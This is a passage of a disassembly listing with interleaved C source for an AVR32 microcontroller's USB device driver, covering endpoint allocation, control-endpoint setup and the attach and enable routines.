st.w r9[0x1c],r10 + udd_unallocate_memory(i); +80003460: fe 69 01 04 mov r9,-130812 +80003464: 72 0a ld.w r10,r9[0x0] +80003466: a1 da cbr r10,0x1 +80003468: 93 0a st.w r9[0x0],r10 + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { + if (ep_allocated & (1 << i)) { +8000346a: 5c 7c castu.h r12 + udd_allocate_memory(i); + udd_enable_endpoint(i); +8000346c: fe 6e 00 00 mov lr,-131072 +80003470: 30 16 mov r6,1 + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { +80003472: 30 17 mov r7,1 + if (ep_allocated & (1 << i)) { +80003474: f8 08 08 49 asr r9,r12,r8 +80003478: f3 d9 c0 01 bfextu r9,r9,0x0,0x1 +8000347c: c1 50 breq 800034a6 + udd_allocate_memory(i); +8000347e: f0 09 15 02 lsl r9,r8,0x2 +80003482: fe 65 01 00 mov r5,-130816 +80003486: f2 05 00 0b add r11,r9,r5 +8000348a: 76 05 ld.w r5,r11[0x0] +8000348c: a1 b5 sbr r5,0x1 +8000348e: 97 05 st.w r11[0x0],r5 + udd_enable_endpoint(i); +80003490: 7c 7b ld.w r11,lr[0x1c] +80003492: ec 08 09 4a lsl r10,r6,r8 +80003496: 16 4a or r10,r11 +80003498: 9d 7a st.w lr[0x1c],r10 + if (!Is_udd_endpoint_configured(i)) +8000349a: e0 39 fe d0 sub r9,130768 +8000349e: 72 09 ld.w r9,r9[0x0] +800034a0: e6 19 00 04 andh r9,0x4,COH +800034a4: c0 90 breq 800034b6 + udd_unallocate_memory(i); + } + } + + // Realloc/Enable endpoints + for (i = ep; i <= USB_DEVICE_MAX_EP; i++) { +800034a6: 2f f8 sub r8,-1 +800034a8: 5c 58 castu.b r8 +800034aa: ee 08 18 00 cp.b r8,r7 +800034ae: fe 98 ff e3 brls 80003474 +800034b2: e3 cf 90 e0 ldm sp++,r5-r7,pc,r12=1 +800034b6: e3 cf 80 e0 ldm sp++,r5-r7,pc,r12=0 +800034ba: d7 03 nop + +800034bc : + * + * \param b_enable true to authorize powerdown mode + */ +static void udd_sleep_mode(bool b_idle) +{ + if (!b_idle && udd_b_idle) { +800034bc: 58 0c cp.w r12,0 +800034be: c1 11 brne 800034e0 +800034c0: 49 18 lddpc r8,80003504 +800034c2: 11 89 ld.ub r9,r8[0x0] +800034c4: 30 08 mov r8,0 +800034c6: f0 09 18 00 cp.b r9,r8 +800034ca: c1 a0 breq 800034fe + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800034cc: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +800034d0: d3 03 ssrf 0x10 + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; +800034d2: 48 e8 lddpc r8,80003508 +800034d4: 11 9a ld.ub r10,r8[0x1] +800034d6: 2f fa sub r10,-1 +800034d8: b0 9a st.b r8[0x1],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800034da: e3 b9 00 00 mtsr 0x0,r9 +#endif + barrier(); +800034de: c1 08 rjmp 800034fe + sleepmgr_lock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + if (b_idle && !udd_b_idle) { +800034e0: 48 98 lddpc r8,80003504 +800034e2: 11 89 ld.ub r9,r8[0x0] +800034e4: 30 08 mov r8,0 +800034e6: f0 09 18 00 cp.b r9,r8 +800034ea: c0 a1 brne 800034fe + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800034ec: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +800034f0: d3 03 ssrf 0x10 + Assert(sleepmgr_locks[mode]); + + // Enter a critical section + flags = cpu_irq_save(); + + --sleepmgr_locks[mode]; +800034f2: 48 68 lddpc r8,80003508 +800034f4: 11 9a ld.ub r10,r8[0x1] +800034f6: 20 1a sub r10,1 +800034f8: b0 9a st.b r8[0x1],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800034fa: e3 b9 00 00 mtsr 0x0,r9 + sleepmgr_unlock_mode(USBB_SLEEP_MODE_USB_IDLE); + } + udd_b_idle = b_idle; +800034fe: 48 28 lddpc r8,80003504 +80003500: b0 8c st.b r8[0x0],r12 +} +80003502: 5e fc retal r12 +80003504: 00 00 add r0,r0 +80003506: 01 c4 ld.ub r4,r0[0x4] +80003508: 00 00 add r0,r0 +8000350a: 07 50 ld.sh r0,--r3 + +8000350c : + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +8000350c: e1 b8 00 00 mfsr r8,0x0 + cpu_irq_disable(); +80003510: d3 03 ssrf 0x10 + // In case of abort of IN Data Phase: + // No need to abort IN transfer (rise TXINI), + // because it is automatically done by hardware when a Setup packet is received. + // But the interrupt must be disabled to don't generate interrupt TXINI + // after SETUP reception. + udd_disable_in_send_interrupt(0); +80003512: 30 1a mov r10,1 +80003514: fe 69 02 20 mov r9,-130528 +80003518: 93 0a st.w r9[0x0],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +8000351a: e3 b8 00 00 mtsr 0x0,r8 + cpu_irq_restore(flags); + // In case of OUT ZLP event is no processed before Setup event occurs + udd_ack_out_received(0); +8000351e: 30 29 mov r9,2 +80003520: fe 68 01 60 mov r8,-130720 +80003524: 91 09 st.w r8[0x0],r9 + + udd_g_ctrlreq.callback = NULL; +80003526: 48 59 lddpc r9,80003538 +80003528: 30 08 mov r8,0 +8000352a: 93 48 st.w r9[0x10],r8 + udd_g_ctrlreq.over_under_run = NULL; +8000352c: 93 58 st.w r9[0x14],r8 + udd_g_ctrlreq.payload_size = 0; +8000352e: b2 68 st.h r9[0xc],r8 + udd_ep_control_state = UDD_EPCTRL_SETUP; +80003530: 48 39 lddpc r9,8000353c +80003532: 93 08 st.w r9[0x0],r8 +} +80003534: 5e fc retal r12 +80003536: 00 00 add r0,r0 +80003538: 00 00 add r0,r0 +8000353a: 04 28 rsub r8,r2 +8000353c: 00 00 add r0,r0 +8000353e: 01 c8 ld.ub r8,r0[0x4] + +80003540 : + +static void udd_ctrl_send_zlp_in(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP; +80003540: 30 39 mov r9,3 +80003542: 48 a8 lddpc r8,80003568 +80003544: 91 09 st.w r8[0x0],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003546: e1 bb 00 00 mfsr r11,0x0 + cpu_irq_disable(); +8000354a: d3 03 ssrf 0x10 + // Validate and send empty IN packet on control endpoint + flags = cpu_irq_save(); + // Send ZLP on IN endpoint + udd_ack_in_send(0); +8000354c: fe 6a 01 60 mov r10,-130720 +80003550: 30 19 mov r9,1 +80003552: 95 09 st.w r10[0x0],r9 + udd_enable_in_send_interrupt(0); +80003554: fe 68 01 f0 mov r8,-130576 +80003558: 91 09 st.w r8[0x0],r9 + // To detect a protocol error, enable nak interrupt on data OUT phase + udd_ack_nak_out(0); +8000355a: 30 89 mov r9,8 +8000355c: 95 09 st.w r10[0x0],r9 + udd_enable_nak_out_interrupt(0); +8000355e: 91 09 st.w r8[0x0],r9 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003560: e3 bb 00 00 mtsr 0x0,r11 + cpu_irq_restore(flags); +} +80003564: 5e fc retal r12 +80003566: 00 00 add r0,r0 +80003568: 00 00 add r0,r0 +8000356a: 01 c8 ld.ub r8,r0[0x4] + +8000356c : + +static void udd_reset_ep_ctrl(void) +{ + irqflags_t flags; + // Reset USB address to 0 + udd_configure_address(0); +8000356c: fe 68 00 00 mov r8,-131072 +80003570: 70 09 ld.w r9,r8[0x0] +80003572: e0 19 ff 80 andl r9,0xff80 +80003576: 91 09 st.w r8[0x0],r9 + udd_enable_address(); +80003578: 70 09 ld.w r9,r8[0x0] +8000357a: a7 b9 sbr r9,0x7 +8000357c: 91 09 st.w r8[0x0],r9 + // Alloc and configure control endpoint + udd_configure_endpoint(0, +8000357e: fe 69 01 00 mov r9,-130816 +80003582: 72 0b ld.w r11,r9[0x0] +80003584: 30 8a mov r10,8 +80003586: f4 0a 0c 4a max r10,r10,r10 +8000358a: e0 6c 04 00 mov r12,1024 +8000358e: f4 0c 0d 4a min r10,r10,r12 +80003592: a1 7a lsl r10,0x1 +80003594: 20 1a sub r10,1 +80003596: f4 0a 12 00 clz r10,r10 +8000359a: f4 0a 11 1c rsub r10,r10,28 +8000359e: a5 6a lsl r10,0x4 +800035a0: e2 1a 19 7c andl r10,0x197c,COH +800035a4: e0 1b e6 83 andl r11,0xe683 +800035a8: 16 4a or r10,r11 +800035aa: 93 0a st.w r9[0x0],r10 + USB_EP_TYPE_CONTROL, + 0, + USB_DEVICE_EP_CTRL_SIZE, AVR32_USBB_UECFG0_EPBK_SINGLE); + + udd_allocate_memory(0); +800035ac: 72 0a ld.w r10,r9[0x0] +800035ae: a1 ba sbr r10,0x1 +800035b0: 93 0a st.w r9[0x0],r10 + udd_enable_endpoint(0); +800035b2: 70 79 ld.w r9,r8[0x1c] +800035b4: a1 a9 sbr r9,0x0 +800035b6: 91 79 st.w r8[0x1c],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800035b8: e1 ba 00 00 mfsr r10,0x0 + cpu_irq_disable(); +800035bc: d3 03 ssrf 0x10 + flags = cpu_irq_save(); + udd_enable_setup_received_interrupt(0); +800035be: fe 69 01 f0 mov r9,-130576 +800035c2: 30 4b mov r11,4 +800035c4: 93 0b st.w r9[0x0],r11 + udd_enable_out_received_interrupt(0); +800035c6: 30 2b mov r11,2 +800035c8: 93 0b st.w r9[0x0],r11 + udd_enable_endpoint_interrupt(0); +800035ca: e0 69 10 00 mov r9,4096 +800035ce: 91 69 st.w r8[0x18],r9 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800035d0: e3 ba 00 00 mtsr 0x0,r10 + cpu_irq_restore(flags); +} +800035d4: 5e fc retal r12 +800035d6: d7 03 nop + +800035d8 : + cpu_irq_restore(flags); +} + + +void udd_attach(void) +{ +800035d8: eb cd 40 c0 pushm r6-r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +800035dc: e1 b6 00 00 mfsr r6,0x0 + cpu_irq_disable(); +800035e0: d3 03 ssrf 0x10 + irqflags_t flags; + flags = cpu_irq_save(); + + // At startup the USB bus state is unknown, + // therefore the state is considered IDLE to not miss any USB event + udd_sleep_mode(true); +800035e2: 30 1c mov r12,1 +800035e4: f0 1f 00 17 mcall 80003640 + otg_unfreeze_clock(); +800035e8: fe 68 00 00 mov r8,-131072 +800035ec: f0 f9 08 00 ld.w r9,r8[2048] +800035f0: af c9 cbr r9,0xe +800035f2: f1 49 08 00 st.w r8[2048],r9 + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode + // But it is not a issue, because the clock source is the OSC +#else + // Check USB clock because the source can be a PLL + while( !Is_clock_usable() ); +800035f6: f0 f9 08 04 ld.w r9,r8[2052] +800035fa: e2 19 40 00 andl r9,0x4000,COH +800035fe: cf c0 breq 800035f6 +#endif + // Authorize attach if VBus is present + udd_attach_device(); +80003600: fe 67 00 00 mov r7,-131072 +80003604: 6e 08 ld.w r8,r7[0x0] +80003606: a9 c8 cbr r8,0x8 +80003608: 8f 08 st.w r7[0x0],r8 + + // (RESET_AND_WAKEUP) + // After the attach and the first USB suspend, the following USB Reset time can be inferior to CPU restart clock time. + // Thus, the USB Reset state is not detected and endpoint control is not allocated + // In this case, a Reset is do automatically after attach. + udc_reset(); // Reset USB Device Stack Core +8000360a: f0 1f 00 0f mcall 80003644 + udd_reset_ep_ctrl(); // Reset endpoint control +8000360e: f0 1f 00 0f mcall 80003648 + udd_ctrl_init(); // Reset endpoint control management +80003612: f0 1f 00 0f mcall 8000364c + + // Enable USB line events + udd_enable_reset_interrupt(); +80003616: 30 8b mov r11,8 +80003618: 8f 6b st.w r7[0x18],r11 + udd_enable_suspend_interrupt(); +8000361a: 30 19 mov r9,1 +8000361c: 8f 69 st.w r7[0x18],r9 + udd_enable_wake_up_interrupt(); +8000361e: 31 08 mov r8,16 +80003620: 8f 68 st.w r7[0x18],r8 +#ifdef UDC_SOF_EVENT + udd_enable_sof_interrupt(); +80003622: 30 4a mov r10,4 +80003624: 8f 6a st.w r7[0x18],r10 +#endif + // Reset following interupts flag + udd_ack_reset(); +80003626: 8f 2b st.w r7[0x8],r11 + udd_ack_sof(); +80003628: 8f 2a st.w r7[0x8],r10 +#if UC3A3 + // With UTMI, the first suspend is detected but must be cleared to reoccur interrupt + udd_ack_suspend(); +#else + // The first suspend interrupt is not detected else raise it + udd_raise_suspend(); +8000362a: 8f 39 st.w r7[0xc],r9 +#endif + udd_ack_wake_up(); +8000362c: 8f 28 st.w r7[0x8],r8 + otg_freeze_clock(); +8000362e: ee f8 08 00 ld.w r8,r7[2048] +80003632: af a8 sbr r8,0xe +80003634: ef 48 08 00 st.w r7[2048],r8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003638: e3 b6 00 00 mtsr 0x0,r6 + cpu_irq_restore(flags); +} +8000363c: e3 cd 80 c0 ldm sp++,r6-r7,pc +80003640: 80 00 ld.sh r0,r0[0x0] +80003642: 34 bc mov r12,75 +80003644: 80 00 ld.sh r0,r0[0x0] +80003646: 71 10 ld.w r0,r8[0x44] +80003648: 80 00 ld.sh r0,r0[0x0] +8000364a: 35 6c mov r12,86 +8000364c: 80 00 ld.sh r0,r0[0x0] +8000364e: 35 0c mov r12,80 + +80003650 : + } +} + + +static void udd_ctrl_in_sent(void) +{ +80003650: eb cd 40 80 pushm r7,lr + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003654: e1 b8 00 00 mfsr r8,0x0 + cpu_irq_disable(); +80003658: d3 03 ssrf 0x10 + uint8_t i; + uint8_t *ptr_dest, *ptr_src; + irqflags_t flags; + + flags = cpu_irq_save(); + udd_disable_in_send_interrupt(0); +8000365a: 30 1a mov r10,1 +8000365c: fe 69 02 20 mov r9,-130528 +80003660: 93 0a st.w r9[0x0],r10 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003662: e3 b8 00 00 mtsr 0x0,r8 + cpu_irq_restore(flags); + + if (UDD_EPCTRL_HANDSHAKE_WAIT_IN_ZLP == udd_ep_control_state) { +80003666: 4c 38 lddpc r8,80003770 +80003668: 70 08 ld.w r8,r8[0x0] +8000366a: 58 38 cp.w r8,3 +8000366c: c0 71 brne 8000367a + // ZLP on IN is sent, then valid end of setup request + udd_ctrl_endofrequest(); +8000366e: f0 1f 00 42 mcall 80003774 + // Reinitializes control endpoint management + udd_ctrl_init(); +80003672: f0 1f 00 42 mcall 80003778 + return; +80003676: e3 cd 80 80 ldm sp++,r7,pc + } + Assert(udd_ep_control_state == UDD_EPCTRL_DATA_IN); + + nb_remain = udd_g_ctrlreq.payload_size - udd_ctrl_payload_nb_trans; +8000367a: 4c 18 lddpc r8,8000377c +8000367c: 90 68 ld.sh r8,r8[0xc] +8000367e: 4c 19 lddpc r9,80003780 +80003680: 92 07 ld.sh r7,r9[0x0] +80003682: f0 07 01 07 sub r7,r8,r7 +80003686: 5c 87 casts.h r7 + if (0 == nb_remain) { +80003688: c3 b1 brne 800036fe + // All content of current buffer payload are sent + if (!udd_ctrl_payload_need_in_zlp) { +8000368a: 4b f9 lddpc r9,80003784 +8000368c: 13 8a ld.ub r10,r9[0x0] +8000368e: 30 09 mov r9,0 +80003690: f2 0a 18 00 cp.b r10,r9 +80003694: c1 21 brne 800036b8 + +static void udd_ctrl_send_zlp_out(void) +{ + irqflags_t flags; + + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; +80003696: 30 49 mov r9,4 +80003698: 4b 68 lddpc r8,80003770 +8000369a: 91 09 st.w r8[0x0],r9 + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +8000369c: e1 b9 00 00 mfsr r9,0x0 + cpu_irq_disable(); +800036a0: d3 03 ssrf 0x10 + // No action is necessary to accept OUT ZLP + // because the buffer of control endpoint is already free + + // To detect a protocol error, enable nak interrupt on data IN phase + flags = cpu_irq_save(); + udd_ack_nak_in(0); +800036a2: 31 08 mov r8,16 +800036a4: fe 6a 01 60 mov r10,-130720 +800036a8: 95 08 st.w r10[0x0],r8 + udd_enable_nak_in_interrupt(0); +800036aa: fe 6a 01 f0 mov r10,-130576 +800036ae: 95 08 st.w r10[0x0],r8 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +800036b0: e3 b9 00 00 mtsr 0x0,r9 + // All content of current buffer payload are sent + if (!udd_ctrl_payload_need_in_zlp) { + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; +800036b4: e3 cd 80 80 ldm sp++,r7,pc + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans +800036b8: 4b 19 lddpc r9,8000377c +800036ba: 92 b9 ld.uh r9,r9[0x6] +800036bc: 5c 78 castu.h r8 +800036be: 4b 3a lddpc r10,80003788 +800036c0: 94 8a ld.uh r10,r10[0x0] +800036c2: 14 08 add r8,r10 +800036c4: 10 39 cp.w r9,r8 +800036c6: e0 89 00 08 brgt 800036d6 + + + udd_g_ctrlreq. + payload_size)) + || (!udd_g_ctrlreq.over_under_run) +800036ca: 4a d8 lddpc r8,8000377c +800036cc: 70 5c ld.w r12,r8[0x14] + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans +800036ce: 58 0c cp.w r12,0 +800036d0: c0 30 breq 800036d6 +800036d2: 5d 1c icall r12 +800036d4: c0 51 brne 800036de + udd_g_ctrlreq. + payload_size)) + || (!udd_g_ctrlreq.over_under_run) + || (!udd_g_ctrlreq.over_under_run())) { + // Underrun or data packet complette than send zlp on IN (note don't change DataToggle) + udd_ctrl_payload_need_in_zlp = false; +800036d6: 30 09 mov r9,0 +800036d8: 4a b8 lddpc r8,80003784 +800036da: b0 89 st.b r8[0x0],r9 + // It is the end of data phase, because the last data packet is a short packet + // then generate an OUT ZLP for handshake phase. + udd_ctrl_send_zlp_out(); + return; + } + if ((udd_g_ctrlreq.req.wLength > (udd_ctrl_prev_payload_nb_trans +800036dc: c1 18 rjmp 800036fe + udd_ctrl_payload_need_in_zlp = false; + // nb_remain==0 allows to send a IN ZLP + } else { + // A new payload buffer is given + // Update number of total data sending by previous playlaod buffer + udd_ctrl_prev_payload_nb_trans += +800036de: 4a b9 lddpc r9,80003788 +800036e0: 4a 88 lddpc r8,80003780 +800036e2: 90 0b ld.sh r11,r8[0x0] +800036e4: 92 0a ld.sh r10,r9[0x0] +800036e6: f6 0a 00 0a add r10,r11,r10 +800036ea: b2 0a st.h r9[0x0],r10 + udd_ctrl_payload_nb_trans; + // Update maangement of current playoad transfer + udd_ctrl_payload_nb_trans = 0; +800036ec: 30 09 mov r9,0 +800036ee: b0 09 st.h r8[0x0],r9 + nb_remain = udd_g_ctrlreq.payload_size; +800036f0: 4a 38 lddpc r8,8000377c +800036f2: 90 67 ld.sh r7,r8[0xc] + // Compute if an IN ZLP must be send after IN data + udd_ctrl_payload_need_in_zlp = +800036f4: f1 d7 c0 03 bfextu r8,r7,0x0,0x3 +800036f8: 5f 09 sreq r9 +800036fa: 4a 38 lddpc r8,80003784 +800036fc: b0 89 st.b r8[0x0],r9 + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; +800036fe: 4a 08 lddpc r8,8000377c +80003700: 70 2a ld.w r10,r8[0x8] +80003702: 4a 08 lddpc r8,80003780 +80003704: 90 09 ld.sh r9,r8[0x0] + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003706: e1 bb 00 00 mfsr r11,0x0 + cpu_irq_disable(); +8000370a: d3 03 ssrf 0x10 + // a next setup reception in same endpoint 0 DPRAM. + // Thereby, an OUT ZLP reception must check before IN data write + // and if no OUT ZLP is recevied the data must be written quickly (800us) + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { +8000370c: fe 68 01 30 mov r8,-130768 +80003710: 70 08 ld.w r8,r8[0x0] +80003712: e2 18 00 02 andl r8,0x2,COH +80003716: c0 91 brne 80003728 +80003718: 30 88 mov r8,8 +8000371a: f0 07 19 00 cp.h r7,r8 +8000371e: f9 b7 0b 08 movhi r7,8 + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { +80003722: 58 07 cp.w r7,0 +80003724: c0 91 brne 80003736 +80003726: c1 58 rjmp 80003750 + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +80003728: e3 bb 00 00 mtsr 0x0,r11 + // before an eventually ZLP OUT and SETUP reception + flags = cpu_irq_save(); + if (Is_udd_out_received(0)) { + // IN DATA phase aborted by OUT ZLP + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; +8000372c: 30 49 mov r9,4 +8000372e: 49 18 lddpc r8,80003770 +80003730: 91 09 st.w r8[0x0],r9 + return; // Exit of IN DATA phase +80003732: e3 cd 80 80 ldm sp++,r7,pc + if (nb_remain > USB_DEVICE_EP_CTRL_SIZE) { + nb_remain = USB_DEVICE_EP_CTRL_SIZE; + } + // Fill buffer of endpoint control + ptr_dest = (uint8_t *) & udd_get_endpoint_fifo_access(0, 8); + ptr_src = udd_g_ctrlreq.payload + udd_ctrl_payload_nb_trans; +80003736: 5c 79 castu.h r9 +80003738: f4 09 00 09 add r9,r10,r9 +8000373c: 30 08 mov r8,0 +8000373e: ea 18 d0 00 orh r8,0xd000 + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { + *ptr_dest++ = *ptr_src++; +80003742: 13 3a ld.ub r10,r9++ +80003744: 10 ca st.b r8++,r10 + cpu_irq_restore(flags); + udd_ep_control_state = UDD_EPCTRL_HANDSHAKE_WAIT_OUT_ZLP; + return; // Exit of IN DATA phase + } + // Write quickly the IN data + for (i = 0; i < nb_remain; i++) { +80003746: f5 d8 c0 08 bfextu r10,r8,0x0,0x8 +8000374a: ee 0a 19 00 cp.h r10,r7 +8000374e: cf a3 brcs 80003742 + *ptr_dest++ = *ptr_src++; + } + udd_ctrl_payload_nb_trans += nb_remain; +80003750: 48 c8 lddpc r8,80003780 +80003752: 90 09 ld.sh r9,r8[0x0] +80003754: f2 07 00 07 add r7,r9,r7 +80003758: b0 07 st.h r8[0x0],r7 + + // Validate and send the data available in the control endpoint buffer + udd_ack_in_send(0); +8000375a: 30 18 mov r8,1 +8000375c: fe 69 01 60 mov r9,-130720 +80003760: 93 08 st.w r9[0x0],r8 + udd_enable_in_send_interrupt(0); +80003762: fe 69 01 f0 mov r9,-130576 +80003766: 93 08 st.w r9[0x0],r8 +80003768: e3 bb 00 00 mtsr 0x0,r11 +#endif + barrier(); +8000376c: e3 cd 80 80 ldm sp++,r7,pc +80003770: 00 00 add r0,r0 +80003772: 01 c8 ld.ub r8,r0[0x4] +80003774: 80 00 ld.sh r0,r0[0x0] +80003776: 32 d8 mov r8,45 +80003778: 80 00 ld.sh r0,r0[0x0] +8000377a: 35 0c mov r12,80 +8000377c: 00 00 add r0,r0 +8000377e: 04 28 rsub r8,r2 +80003780: 00 00 add r0,r0 +80003782: 01 c6 ld.ub r6,r0[0x4] +80003784: 00 00 add r0,r0 +80003786: 01 cc ld.ub r12,r0[0x4] +80003788: 00 00 add r0,r0 +8000378a: 01 b0 ld.ub r0,r0[0x3] + +8000378c : + return true; +} + + +void udd_enable(void) +{ +8000378c: eb cd 40 c0 pushm r6-r7,lr + irqflags_t flags; + sysclk_enable_usb(); +80003790: f0 1f 00 37 mcall 8000386c + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); +80003794: e1 b6 00 00 mfsr r6,0x0 + cpu_irq_disable(); +80003798: d3 03 ssrf 0x10 + + flags = cpu_irq_save(); + + //** Enable USB hardware + otg_disable(); +8000379a: fe 67 00 00 mov r7,-131072 +8000379e: ee f8 08 00 ld.w r8,r7[2048] +800037a2: af d8 cbr r8,0xf +800037a4: ef 48 08 00 st.w r7[2048],r8 + (void)Is_otg_enabled(); +800037a8: ee f8 08 00 ld.w r8,r7[2048] + // Check UID pin state before enter in USB device mode + if (!Is_otg_id_device()) + return FALSE; +#else + // Here, only the Device mode is possible, then link USBB interrupt to UDD interrupt + irq_register_handler(udd_interrupt, AVR32_USBB_IRQ, UDD_USB_INT_LEVEL); +800037ac: 30 0a mov r10,0 +800037ae: e0 6b 02 20 mov r11,544 +800037b2: 4b 0c lddpc r12,80003870 +800037b4: f0 1f 00 30 mcall 80003874 + otg_force_device_mode(); +800037b8: ee f8 08 00 ld.w r8,r7[2048] +800037bc: b9 b8 sbr r8,0x19 +800037be: ef 48 08 00 st.w r7[2048],r8 +800037c2: ee f8 08 00 ld.w r8,r7[2048] +800037c6: b9 c8 cbr r8,0x18 +800037c8: ef 48 08 00 st.w r7[2048],r8 +#endif + otg_disable_pad(); +800037cc: ee f8 08 00 ld.w r8,r7[2048] +800037d0: ad c8 cbr r8,0xc +800037d2: ef 48 08 00 st.w r7[2048],r8 + otg_enable_pad(); +800037d6: ee f8 08 00 ld.w r8,r7[2048] +800037da: ad a8 sbr r8,0xc +800037dc: ef 48 08 00 st.w r7[2048],r8 + otg_enable(); +800037e0: ee f8 08 00 ld.w r8,r7[2048] +800037e4: af b8 sbr r8,0xf +800037e6: ef 48 08 00 st.w r7[2048],r8 + otg_unfreeze_clock(); +800037ea: ee f8 08 00 ld.w r8,r7[2048] +800037ee: af c8 cbr r8,0xe +800037f0: ef 48 08 00 st.w r7[2048],r8 + (void)Is_otg_clock_frozen(); +800037f4: ee f8 08 00 ld.w r8,r7[2048] + // For parts with high speed feature, the "USABLE" clock is the UTMI clock, + // and the UTMI clock is disabled in suspend mode. Thereby, the utmi clock + // can't be checked when USB line is not attached or in suspend mode +#else + // Check USB clock + while( !Is_clock_usable() ); +800037f8: 0e 99 mov r9,r7 +800037fa: f2 f8 08 04 ld.w r8,r9[2052] +800037fe: e2 18 40 00 andl r8,0x4000,COH +80003802: cf c0 breq 800037fa + +static void udd_ep_job_table_reset(void) +{ + uint8_t i; + for (i = 0; i < USB_DEVICE_MAX_EP; i++) { + udd_ep_job[i].busy = false; +80003804: 49 d8 lddpc r8,80003878 +80003806: 70 0a ld.w r10,r8[0x0] +80003808: 30 09 mov r9,0 + udd_ep_job[i].stall_requested = false; +8000380a: f5 da c0 1f bfextu r10,r10,0x0,0x1f +8000380e: f5 d9 d3 c1 bfins r10,r9,0x1e,0x1 +80003812: 91 0a st.w r8[0x0],r10 + + // Set the USB speed requested by configuration file +#ifdef USB_DEVICE_LOW_SPEED + udd_low_speed_enable(); +#else + udd_low_speed_disable(); +80003814: fe 68 00 00 mov r8,-131072 +80003818: 70 0a ld.w r10,r8[0x0] +8000381a: ad ca cbr r10,0xc +8000381c: 91 0a st.w r8[0x0],r10 +# ifdef USB_DEVICE_HS_SUPPORT + udd_high_speed_enable(); +# else + udd_high_speed_disable(); +8000381e: 70 0a ld.w r10,r8[0x0] +80003820: e8 1a 0c 00 orl r10,0xc00 +80003824: 91 0a st.w r8[0x0],r10 +# endif +#endif + udd_enable_vbus_interrupt(); +80003826: f0 fa 08 00 ld.w r10,r8[2048] +8000382a: a1 ba sbr r10,0x1 +8000382c: f1 4a 08 00 st.w r8[2048],r10 + otg_freeze_clock(); +80003830: f0 fa 08 00 ld.w r10,r8[2048] +80003834: af aa sbr r10,0xe +80003836: f1 